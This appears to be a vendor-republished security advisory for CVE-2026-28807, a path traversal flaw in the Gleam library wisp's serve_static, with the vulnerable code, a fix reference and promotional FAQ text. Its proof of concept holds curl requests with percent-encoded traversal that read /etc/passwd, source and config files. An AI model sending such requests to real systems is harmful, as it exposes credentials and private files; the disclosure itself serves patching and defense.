Summary
Wisp Vulnerable to Path Traversal
wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.
Details
In src/wisp.gleam, serve_static processes the request path in this order:
let path =
path
|> string.drop_start(string.length(prefix))
|> string.replace(each: "..", with: "") // Step 1: sanitize
|> filepath.join(directory, _)
let path = case uri.percent_decode(path) { // Step 2: decode
Ok(p) -> p
Error(_) -> path
}
Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.
PoC
Any application using wisp.serve_static:
fn handle_request(req: wisp.Request) -> wisp.Response {
use <- wisp.serve_static(req, under: "/static", from: priv_directory())
wisp.not_found()
}
Exploit (requires --path-as-is to prevent client-side normalization):
# Read /etc/passwd
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Read project source code
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"
# Read project config
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"
Workaround
Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.
References
- Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
- Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
Impact
This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:
- Application source code
- Configuration and secrets in
priv/ .envfiles,secret_key_base, private keys- System files (
/etc/passwd,/etc/shadowif permissions allow)
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-28807 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-28807? CVE-2026-28807 is a high-severity path traversal vulnerability in wisp (erlang), affecting versions >= 2.1.1, < 2.2.1. It is fixed in 2.2.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-28807? CVE-2026-28807 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wisp are affected by CVE-2026-28807? wisp (erlang) versions >= 2.1.1, < 2.2.1 is affected.
- Is there a fix for CVE-2026-28807? Yes. CVE-2026-28807 is fixed in 2.2.1. Upgrade to this version or later.
- Is CVE-2026-28807 exploitable, and should I be worried? Whether CVE-2026-28807 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-28807 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-28807? Upgrade
wispto 2.2.1 or later.